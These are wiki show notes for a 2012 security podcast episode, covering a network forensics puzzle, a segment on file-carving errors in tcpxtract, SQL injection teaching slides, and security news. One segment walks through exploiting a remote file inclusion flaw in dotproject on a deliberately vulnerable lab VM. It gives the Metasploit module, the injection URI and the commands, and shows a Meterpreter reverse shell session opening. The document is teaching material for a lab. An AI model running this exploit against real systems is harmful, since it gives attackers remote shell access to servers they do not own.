From Paul's Security Weekly
Jump to: navigation, search
Palo Alto Networks
Tenable Network Security
The SANS Institute
Pwnie Express
Black Hills Information Security

Announcements & Shameless Plugs

PaulDotCom Security Weekly - Episode 290 for Thursday May 31st, 2012

  • Episode 300 of PaulDotCom Security Weekly will be recorded and streamed live on Friday August 31st in support of of a cure for Breast Cancer. We will broadcast live from 10am until 6PM Eastern time and the show will feature tech segments, round table discussions and special guests. Mark it on your calendars today!

Contest Announcement

Announcing Puzzle #10 of the Network Forensics Puzzle Contest: PaulDotCom Goes Off The Air! It’s been three weeks since the PaulDotCom crew went missing. Through extensive research and cyberstalking, millions of PDC fans gathered information relating to their disappearance and hired you to find them. You are the forensic investigator. You're given a packet capture and a snippet of a hard drive image. Can you solve the puzzle and find out what happened to the PaulDotCom crew? Winners will get fame, fortune, and prizes (to be announced)... or at least prizes. Enter the challenge and get more info at ForensicsContest.com.

Episode Media

MP3 pt 1

MP3 pt 2

Guest Technical Segment: AntiForensics and Bugs-- When Forensics Tools Lie to You with LMG Security

Watch out-- this puzzle includes antiforensics techniques. So, today we're going to do a short snippet of the Network Forensics class that shows what happens when your forensics tools lie to you, how you can tell, and how you can recover the evidence correctly.

Sometimes forensics tools lie to you because attackers are deliberately being stealthy. Other times, tools lie to you because it's just not possible for the authors to keep up with every possible version of every possible protocol in every possible network setup. This is especially the case with network protocols, because there are a huge number of protocols are there, lots of which are proprietary or just poorly documented. Network forensics tools can't interpret every protocol correctly all of the time. You have to expect that things will always be missing, and sometimes they'll just be wrong. Plan on double-checking important findings.

As an example, let's take a look at Puzzle #1, Ann's Bad AIM, which you can find on ForensicsContest.Com. In this puzzle, Anarchy-R-Us suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company’s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company’s secret recipe. She sent instant messages over the network from her computer, to a rogue laptop. Security staff provide you with a packet capture of the activity and ask for your help.

Opening the packet capture, you can see a file transfer in there. The screenshot below shows a TCP stream reassembled in Wireshark. AOL Instant Messenger (and compatible IM clients) use the OSCAR protocol for communication. Here we see an OSCAR file transfer (OFT). Notice the "OFT2" at the beginning of the TCP stream, for example. You can also see the filename of the file that was transferred-- recipe.docx. It's likely that we're looking for a .docx file (though remember, filenames aren't always accurate. Use the "file" command on Linux to find out what format a file really is).


Let's carve the transferred file out of this TCP stream. We're going to talk about this only at a high level here (for all the gory details, read chapter 4 of our "Network Forensics" book). A quick and easy way to extract files from TCP traffic is to use tcpxtract. Tcpxtract is a very cool tool by Nick Harbour. It works by looking for "magic numbers" that show up at the beginning of files. This is very similar to the way "foremost" carves files from hard drives, but tcpxtract first reassembles TCP streams. Below is an excerpt of tcpxtract's configuration file, which you can see is pretty similar to foremost's.


Remember that .docx files are actually ZIP archives. So, tcpxtract will carve them out as ZIP files. Here's an excerpt of the tcpxtract configuration file which relates to ZIP archives:


Now we run tcpxtract on the packet capture, evidence01.pcap:

You can see that tcpxtract carved out a LOT of ZIP files. It turns out that these results are a little misleading. Remember that tcpxtract just looks for the magic number, in this case PK\0x03\0x04. This value actually appears not once, but FOURTEEN times within the body of the transferred file. It appears once at the beginning, and then 13 more times throughout the file. That means that tcpxtract will carve the full file once, when it sees that magic number at the beginning, and then it carves out file fragments 13 more times. We'll ignore the extra file fragments.


For the moment, let's focus on the biggest file shown above, 00000023.zip. It's 12020 bytes in size. You can take the cryptographic checksums and save that file as recipe.docx. Voila! It will open and you can see the secret recipe.

Does that mean that the file was carved out correctly? No!! It's WRONG. The checksums of the file we just carved will NOT match the original files on a hard drive it was sent from. If you're trying to prove that a file you found in network traffic is the same as one you found on somebody's laptop, for example, this is a big problem!! How can you tell? Correlate. In network forensics, it's really important to correlate evidence from different sources. For example, when you carve an important file, check and make sure that the size of the file you carved matches the size actually specifed in the file transfer protocol.

Here's a screenshot of the OFT "Done" packet from Ann's Bad AIM, which was sent when the file transfer was complete. The highlighted bytes show the size of data transferred-- 0x2EE8, or 12,008 bytes.

OFT Done packet.jpg

So, the file we carved using tcpxtract was 12,020 bytes large, but the file that was transferred should only have been 12,008 bytes in size. What happened? It turns out that tcpxtract carved extra bytes at the end of the file that shouldn't have been there. The reason for this is really interesting! It happened because Ethernet frames have a minimum payload size of 46 bytes. However, this file transfer included two IP packets that were only 40 bytes in total length. To make up the difference, the network device driver padded each Ethernet frame's payload with 6 null bytes. Tcpxtract reassembled the TCP stream with 12 extra null bytes at the end, and then included them in the carved ZIP file that it carved out.

The moral: Correlate your findings using multiple sources whenever possible. For example, make sure the files you carve match the sizes and formats specified in the protocol that was used to transfer them. Forensics tools can give you incorrect answers as a result of antiforensics or just because they don't work properly with the protocols in your specific evidence file. When you have the resources, use more than one tool to double check your findings.


Shameless Plug

Join us for the Network Forensics class at Black Hat, July 21-24! Taught by the authors themselves, this fast-paced class includes packet analysis, statistical flow record analysis, wireless forensics, intrusion detection and analysis, network tunneling, malware network behavior-all packed into a dense 4 days, with hands-on technical labs throughout the class. More info Also, we're puzzle writers by night, security consultants by day. Check out our company, LMG Security

Tech Segment: Allison Nixon

Teasers & Plugs

  • Larry will be delivering the Keynote at Hack3rcon^3 Doomsday Eve. Hackers and prepping, what could be better?


  • How to do basic SQL Injection attacks by hand
  • How they work
  • The principles behind them
  • How to interpret attacks in progress
  • How to prevent it

SQL Injection Slide 1

  • Bad user input turns good queries into evil
  • Obligatory XKCD:

Slide 2

SQLi another.jpg

Slide 3

  • A process sends unsanitized commands to another process
  • Malicious commands run under the same permissions as the “tricked” parent process
  • A concern for any setup where two separate programs pass commands between each other
    • PHP + mySQL is the most common

Slide 4

  • SQL injection is not limited to MySQL
    • Oracle database
    • MSSQL
    • SQLite
    • Any other database
  • Passing bad input is not limited to PHP
    • ASP
    • Python
    • Java
    • Any script that goes between users and a DB

Slide 5

  • We will focus on PHP + mySQL
  • Best way to learn SQL injection is to learn SQL
  • Exact syntax depends on the type of database
  • Documentation is your friend

Tech Segment: Easy RFI Shell Using Metasploit

Teasers & Plugs

  • Minor change in schedule - Episode 291 will be Friday June 8th, at 7PM ET. You can watch us live at http://pauldotcom.com/live or watch the recorded episodes on Ustream or Blip.tv


I've been loving the UltimateLamp distro for testing web applications. Its just so vulnerable you can smell it when you fire up the VM. I want to play around with some Metasploit payloads for PHP, so here it goes...

Step 1 - Find the vulnerability

Yea, okay, I know, I used Nessus. BUT, I only configured Nessus to scan for known vulnerabilities, and the scan found over 20 vulnerabilities in about 3 minutes. I found this gem in a web app called "dotproject":


Step 2 - Find the RFI injection point

Reviewing one of the resources from the Nessus output, I found this web page which listed all of the RFI injection points:


Step 3 - Exploit

Using Metasploit I deployed a PHP Meterpreter shell (which worked the first time) as follows:

msf > use exploit/unix/webapp/php_include
msf  exploit(php_include) > show options

Module options (exploit/unix/webapp/php_include):

   Name      Current Setting                                          Required  Description
   ----      ---------------                                          --------  -----------
   PATH      /                                                        yes       The base directory to prepend to the URL to try
   PHPRFIDB  /opt/framework/msf3/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
   PHPURI                                                             no        The URI to request, with the include parameter changed to XXpathXX
   POSTDATA                                                           no        The POST data to send, with the include parameter changed to XXpathXX
   Proxies                                                            no        Use a proxy chain
   RHOST                                                              yes       The target address
   RPORT     80                                                       yes       The target port
   SRVHOST                                                  yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT   8080                                                     yes       The local port to listen on.
   SSLCert                                                            no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                                            no        The URI to use for this exploit (default is random)
   VHOST                                                              no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(php_include) > set PHPURI /dotproject/includes/db_connect.php?baseDir=XXpathXX
PHPURI => /dotproject/includes/db_connect.php?baseDir=XXpathXX

msf  exploit(php_include) > set RHOST

msf  exploit(php_include) > exploit

[*] Started reverse handler on 
[*] Using URL:
[*]  Local IP:
[*] PHP include server started.
[*] Sending stage (39217 bytes) to
[*] Meterpreter session 1 opened ( -> at 2012-05-19 15:29:03 -0400

meterpreter > ls

Listing: /var/www/dotproject/includes

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100664/rw-rw-r--  22     fil   2006-05-13 06:22:15 -0400  .cvsignore
100664/rw-rw-r--  62     fil   2006-05-13 06:22:15 -0400  .htaccess
100664/rw-rw-r--  2348   fil   2006-05-13 06:22:15 -0400  config-dist.php
100644/rw-r--r--  661    fil   2006-05-13 07:02:48 -0400  config.php
100664/rw-rw-r--  3926   fil   2006-05-13 06:22:15 -0400  db_adodb.php
100664/rw-rw-r--  9996   fil   2006-05-13 06:22:15 -0400  db_connect.php
100664/rw-rw-r--  24236  fil   2006-05-13 06:22:15 -0400  gateway.pl
100664/rw-rw-r--  44     fil   2006-05-13 06:22:15 -0400  index.html
100664/rw-rw-r--  19270  fil   2006-05-13 06:22:15 -0400  main_functions.php
100664/rw-rw-r--  3062   fil   2006-05-13 06:22:15 -0400  permissions.php
100664/rw-rw-r--  2202   fil   2006-05-13 06:22:15 -0400  sendpass.php
100664/rw-rw-r--  5545   fil   2006-05-13 06:22:15 -0400  session.php
100664/rw-rw-r--  220    fil   2006-05-13 06:22:15 -0400  version.php

meterpreter > 


http://www.offensive-security.com/metasploit-unleashed/PHP_Meterpreter - Outstanding guide to Metasploit!


Teasers & Plugs

  • DerbyCon Call for Papers and Ticket Registration is: available online. If you have not yet registered or submitted a talk, please do so now.
  • Security BSides everywhere: Pittsburgh, Detroit, Cleveland, Las Vegas, more. http://www.securitybsides.com/ - We have 5 BSides tickets to give away! Listen to the instructions at the end of Episode 282 for complete details!

Paul's Stories

  1. Bogus story: no Chinese backdoor in military chip - What is the intent of a backdoor? Tough to say just from the code or the hardware itself. Sometimes you can detect who put it there, and almost always people say "it was the Chinese". The fact is this stuff happens, and likely people try to do it without being noticed.
  2. Adaptive User Interface Randomization As An Anti-Clickjacking Strategy - I think its funny to develop a user interface that moves click-points around, really messes up the users!
  3. From LOW to PWNED [12 Trace.axd] - Nice write-up from CG, will be looking for this vulnerability. Love this series of posts, keep them coming!
  4. Google's reCAPTCHA briefly cracked - I hate it when people find ways to beat CAPTCHAS, and I should state hate it when they don't notify the vendor. This leads to SPAM, we hate SPAM.
  5. Configuration Mistakes Make for Costly Security Gaps
  6. Concerns Raised About Time Taken to Detect Flame

Larry's Stories

  1. Flame Bait - [Larry] - A great rundown on the possible risk of the Flame trojan, and some good tin-foil-hat-brigade style theories. It really boils down to what is your risk, where did it come from, but most importantly, what does this mean for the future of malware?
  2. Backdoor Chips - [Larry] - Backdoors in "military" chips? Nothing like fuzzing JTAG to find undocumented features. One was found that allowed "unauthenticated" functionality to the chip. Ok, so unlikely that some manufacturer added functionality to a chip, ac changing silicon dies is VERY difficult. However these chips are FPGA - Field Programmable Gate Arrays, so conceivable that the software that sets up the chip could be changed…or someone accidentally left the bits on enabling debug output. Military chips? Hardly. Also, want to much with it? Gotta have hands on. Not like the JTAG read/write is network enabled, so if you want access to that cisco device, you need physical access. This may be an issue for military applications, such as drones, etc that are recovered by enemy combatants.
  3. Hole in your (Black) Armor - [Larry] - With a specific URL, you can reset the admin password to the device without prior authentication. Bu, it is just a NAS, Larry. Yeah, just a NAS, that you store all of your sensitive files (or backups!) that now I have admin access to, and can set the shares to readable to everyone, including me. No patch from Seagate ye, but who updates embedded devices anyways?

Jack's Stories of Fortitude

  1. Seven words you can't say on TV Er, I mean can't say on Social Media or DHS will watch you. We are all on yet another list.
  2. NASA SSL MiTM Evil Iranians attack NASA, using a "bad" SSL cert. Insert rants about "trusted" certs, which you should trust, the arguable value of SSL proxies, etc.
  3. Apple iOS hardening guide Yeah, the NSA did one of these, but this one is from Apple themselves. A potentially hopeful sign from the Kool-Aid Konspiracy folks.